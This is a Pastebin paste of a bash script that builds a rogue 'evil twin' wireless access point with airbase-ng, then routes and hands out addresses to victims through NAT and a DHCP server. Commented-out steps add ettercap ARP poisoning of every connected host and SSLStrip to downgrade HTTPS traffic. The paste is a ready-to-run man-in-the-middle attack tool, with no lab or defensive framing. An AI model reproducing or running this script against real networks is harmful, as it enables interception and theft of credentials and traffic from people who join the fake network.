Advertisement
opexxx

mitm_fakeap.sh

Feb 23rd, 2014
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.78 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo "PRE-REQUISITES"
  4. echo "=============="
  5. echo "- External interface configured and communicating."
  6. echo "- Wireless card connected but NOT configured."
  7. echo "- No interfaces on the 192.168.3.0/24 network."
  8. echo " "
  9.  
  10. LOGDIR="$(date +%F-%H%M)"
  11. mkdir $LOGDIR
  12. cd $LOGDIR
  13.  
  14. # get vars from user
  15. echo 'Network Interfaces:'
  16. ifconfig | grep 'Link\|addr'
  17. echo -n "Enter the name of the interface connected to the internet, for example eth0: "
  18. read -e IFACE
  19. airmon-ng
  20. echo -n "Enter your wireless interface name, for example wlan0: "
  21. read -e WIFACE
  22. echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
  23. read -e ESSID
  24. echo -n "Enter the channel you would like your rogue AP to communicate on [1-11]: "
  25. read -e CHANNEL
  26.  
  27. # start WAP
  28. airmon-ng start $WIFACE
  29. #modprobe tun
  30. airbase-ng --essid "$ESSID" -c $CHANNEL -v mon0 > airbase.log &
  31. xterm -bg black -fg yellow -T Airbase-NG -e tail -f airbase.log  &
  32. sleep 5
  33. echo "Configuring interface created by airdrop-ng"
  34. ifconfig at0 192.168.3.1 netmask 255.255.255.0 up
  35. #ifconfig at0 mtu 1400
  36. echo "1" > /proc/sys/net/ipv4/ip_forward
  37. route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
  38. echo 'Setting up iptables to handle traffic seen by the airdrop-ng (at0) interface'
  39. #iptables -P FORWARD ACCEPT
  40. iptables -t nat -A POSTROUTING -j MASQUERADE
  41.  
  42. # start DHCP server
  43. echo "Creating a dhcpd.conf to assign addresses to clients that connect to us"
  44. echo "default-lease-time 600;" > dhcpd.conf
  45. echo "max-lease-time 720;"  >> dhcpd.conf
  46. echo "ddns-update-style none;" >> dhcpd.conf
  47. echo "authoritative;"  >> dhcpd.conf
  48. echo "log-facility local7;"  >> dhcpd.conf
  49. echo "subnet 192.168.3.0 netmask 255.255.255.0 {"  >> dhcpd.conf
  50. echo "range 192.168.3.100 192.168.3.150;"  >> dhcpd.conf
  51. echo "option routers 192.168.3.1;"  >> dhcpd.conf
  52. echo "option domain-name-servers 8.8.8.8;"  >> dhcpd.conf
  53. echo "}"  >> dhcpd.conf
  54. echo 'DHCP server starting on our airdrop-ng interface (at0)'
  55. dhcpd3 -q -cf dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &
  56. echo "Launching DMESG"
  57. xterm -bg black -fg red -T "System Logs" -e tail -f /var/log/messages &
  58.  
  59. #echo "Launching ettercap, poisoning all hosts on the at0 interface's subnet"
  60. #xterm -bg black -fg blue -e ettercap -T -q -p -l ettercap.log -i at0 // // &
  61.  
  62. #echo "Launching SSLStrip log"
  63. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
  64. #python /pentest/web/sslstrip/sslstrip.py -p &> /dev/null &
  65. #sleep 5
  66. #xterm -bg black -fg blue -T "SSLStrip Log" -e tail -f sslstrip.log &
  67.  
  68. echo "Done."
  69. Hide details
  70. Change log
  71. r1 by tjt1980 on Aug 21, 2012   Diff
  72. initial import
  73. Go to:  
  74. Older revisions
  75. All revisions of this file
  76. File info
  77. Size: 2557 bytes, 68 lines
  78. View raw file
  79. File properties
  80. svn:executable
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement